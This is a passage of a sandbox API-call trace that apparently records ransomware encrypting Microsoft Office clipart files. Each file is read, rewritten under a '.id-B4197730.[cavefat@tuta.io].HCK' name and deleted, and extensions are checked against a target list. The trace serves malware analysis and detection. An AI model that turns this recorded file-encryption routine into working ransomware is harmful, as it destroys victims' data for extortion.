Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00726_.wmf")) returned 1 [0179.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF") returned 68 [0179.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF") returned 68 [0179.209] lstrlenW (lpString=".doc") returned 4 [0179.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.209] lstrlenW (lpString=".docx") returned 5 [0179.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.209] lstrlenW (lpString=".pdf") returned 4 [0179.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.209] lstrlenW (lpString=".xls") returned 4 [0179.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.209] lstrlenW (lpString=".xlsx") returned 5 [0179.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.209] lstrlenW (lpString=".ppt") returned 4 [0179.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF") returned 68 [0179.209] lstrlenW (lpString=".zip") returned 4 [0179.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.209] lstrlenW (lpString=".rar") returned 4 [0179.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.209] lstrlenW (lpString=".bz2") returned 4 [0179.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.209] lstrlenW (lpString=".7z") returned 3 [0179.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF") returned 68 [0179.209] lstrlenW (lpString=".dbf") returned 4 [0179.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF") returned 68 [0179.209] lstrlenW (lpString=".1cd") returned 4 [0179.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF") returned 68 [0179.210] lstrlenW (lpString=".jpg") returned 4 [0179.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF") returned 68 [0179.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF") returned 68 [0179.210] lstrlenW (lpString=".doc") returned 4 [0179.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.210] lstrlenW (lpString=".docx") returned 5 [0179.210] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.210] lstrlenW (lpString=".pdf") returned 4 [0179.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.210] lstrlenW (lpString=".xls") returned 4 [0179.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.210] lstrlenW (lpString=".xlsx") returned 5 [0179.210] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.210] lstrlenW (lpString=".ppt") returned 4 [0179.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF") returned 68 [0179.210] lstrlenW (lpString=".zip") returned 4 [0179.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.210] lstrlenW (lpString=".rar") returned 4 [0179.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.210] lstrlenW (lpString=".bz2") returned 4 [0179.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.210] lstrlenW (lpString=".7z") returned 3 [0179.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF") returned 68 [0179.210] lstrlenW (lpString=".dbf") returned 4 [0179.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF") returned 68 [0179.210] lstrlenW (lpString=".1cd") returned 4 [0179.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00726_.WMF") returned 68 [0179.210] lstrlenW (lpString=".jpg") returned 4 [0179.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.211] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.211] lstrlenW (lpString="PE00898_.WMF") returned 12 [0179.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00898_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.215] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=6408) returned 1 [0179.215] CloseHandle (hObject=0x39c) returned 1 [0179.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00898_.wmf")) returned 0x220 [0179.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00898_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00898_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.221] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.221] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00898_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.223] GetLastError () returned 0x0 [0179.223] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1908, lpOverlapped=0x0) returned 1 [0179.225] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1910, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1910, lpOverlapped=0x0) returned 1 [0179.226] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.226] WriteFile (in: hFile=0x370, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.227] SetEndOfFile (hFile=0x370) returned 1 [0179.228] CloseHandle (hObject=0x370) returned 1 [0179.230] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.230] SetEndOfFile (hFile=0x300) returned 1 [0179.233] CloseHandle (hObject=0x300) returned 1 [0179.235] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.235] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe00898_.wmf")) returned 1 [0179.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF") returned 68 [0179.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF") returned 68 [0179.239] lstrlenW (lpString=".doc") returned 4 [0179.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.239] lstrlenW (lpString=".docx") returned 5 [0179.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.239] lstrlenW (lpString=".pdf") returned 4 [0179.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.239] lstrlenW (lpString=".xls") returned 4 [0179.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.239] lstrlenW (lpString=".xlsx") returned 5 [0179.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.239] lstrlenW (lpString=".ppt") returned 4 [0179.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF") returned 68 [0179.239] lstrlenW (lpString=".zip") returned 4 [0179.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.239] lstrlenW (lpString=".rar") returned 4 [0179.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.239] lstrlenW (lpString=".bz2") returned 4 [0179.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.239] lstrlenW (lpString=".7z") returned 3 [0179.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF") returned 68 [0179.239] lstrlenW (lpString=".dbf") returned 4 [0179.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF") returned 68 [0179.239] lstrlenW (lpString=".1cd") returned 4 [0179.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF") returned 68 [0179.239] lstrlenW (lpString=".jpg") returned 4 [0179.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF") returned 68 [0179.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF") returned 68 [0179.239] lstrlenW (lpString=".doc") returned 4 [0179.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.239] lstrlenW (lpString=".docx") returned 5 [0179.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.239] lstrlenW (lpString=".pdf") returned 4 [0179.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.239] lstrlenW (lpString=".xls") returned 4 [0179.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.240] lstrlenW (lpString=".xlsx") returned 5 [0179.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.240] lstrlenW (lpString=".ppt") returned 4 [0179.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF") returned 68 [0179.240] lstrlenW (lpString=".zip") returned 4 [0179.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.240] lstrlenW (lpString=".rar") returned 4 [0179.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.240] lstrlenW (lpString=".bz2") returned 4 [0179.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.240] lstrlenW (lpString=".7z") returned 3 [0179.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF") returned 68 [0179.240] lstrlenW (lpString=".dbf") returned 4 [0179.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF") returned 68 [0179.240] lstrlenW (lpString=".1cd") returned 4 [0179.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00898_.WMF") returned 68 [0179.240] lstrlenW (lpString=".jpg") returned 4 [0179.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.240] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.240] lstrlenW (lpString="PE01191_.WMF") returned 12 [0179.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.244] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=16284) returned 1 [0179.244] CloseHandle (hObject=0x370) returned 1 [0179.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01191_.wmf")) returned 0x220 [0179.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01191_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.247] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.247] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01191_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.249] GetLastError () returned 0x0 [0179.249] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x3f9c, lpOverlapped=0x0) returned 1 [0179.250] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x3fa0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x3fa0, lpOverlapped=0x0) returned 1 [0179.251] ReadFile (in: hFile=0x368, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.251] WriteFile (in: hFile=0x2fc, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.251] SetEndOfFile (hFile=0x2fc) returned 1 [0179.256] CloseHandle (hObject=0x2fc) returned 1 [0179.258] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.258] SetEndOfFile (hFile=0x368) returned 1 [0179.262] CloseHandle (hObject=0x368) returned 1 [0179.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01191_.wmf")) returned 1 [0179.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF") returned 68 [0179.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF") returned 68 [0179.266] lstrlenW (lpString=".doc") returned 4 [0179.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.266] lstrlenW (lpString=".docx") returned 5 [0179.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.266] lstrlenW (lpString=".pdf") returned 4 [0179.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString=".xls") returned 4 [0179.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.267] lstrlenW (lpString=".xlsx") returned 5 [0179.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.267] lstrlenW (lpString=".ppt") returned 4 [0179.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF") returned 68 [0179.267] lstrlenW (lpString=".zip") returned 4 [0179.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.267] lstrlenW (lpString=".rar") returned 4 [0179.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString=".bz2") returned 4 [0179.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString=".7z") returned 3 [0179.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF") returned 68 [0179.267] lstrlenW (lpString=".dbf") returned 4 [0179.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF") returned 68 [0179.267] lstrlenW (lpString=".1cd") returned 4 [0179.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF") returned 68 [0179.267] lstrlenW (lpString=".jpg") returned 4 [0179.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF") returned 68 [0179.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF") returned 68 [0179.267] lstrlenW (lpString=".doc") returned 4 [0179.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString=".docx") returned 5 [0179.267] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.267] lstrlenW (lpString=".pdf") returned 4 [0179.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString=".xls") returned 4 [0179.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.267] lstrlenW (lpString=".xlsx") returned 5 [0179.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.267] lstrlenW (lpString=".ppt") returned 4 [0179.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF") returned 68 [0179.267] lstrlenW (lpString=".zip") returned 4 [0179.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.267] lstrlenW (lpString=".rar") returned 4 [0179.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString=".bz2") returned 4 [0179.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString=".7z") returned 3 [0179.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF") returned 68 [0179.267] lstrlenW (lpString=".dbf") returned 4 [0179.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF") returned 68 [0179.267] lstrlenW (lpString=".1cd") returned 4 [0179.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF") returned 68 [0179.268] lstrlenW (lpString=".jpg") returned 4 [0179.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.268] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.268] lstrlenW (lpString="PE02169_.WMF") returned 12 [0179.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.270] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=8132) returned 1 [0179.270] CloseHandle (hObject=0x3a4) returned 1 [0179.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02169_.wmf")) returned 0x220 [0179.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02169_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.274] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.274] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02169_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.277] GetLastError () returned 0x0 [0179.277] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1fc4, lpOverlapped=0x0) returned 1 [0179.279] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1fd0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1fd0, lpOverlapped=0x0) returned 1 [0179.280] ReadFile (in: hFile=0x3a4, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.280] WriteFile (in: hFile=0x39c, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.280] SetEndOfFile (hFile=0x39c) returned 1 [0179.282] CloseHandle (hObject=0x39c) returned 1 [0179.282] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.282] SetEndOfFile (hFile=0x3a4) returned 1 [0179.286] CloseHandle (hObject=0x3a4) returned 1 [0179.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02169_.wmf")) returned 1 [0179.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF") returned 68 [0179.291] 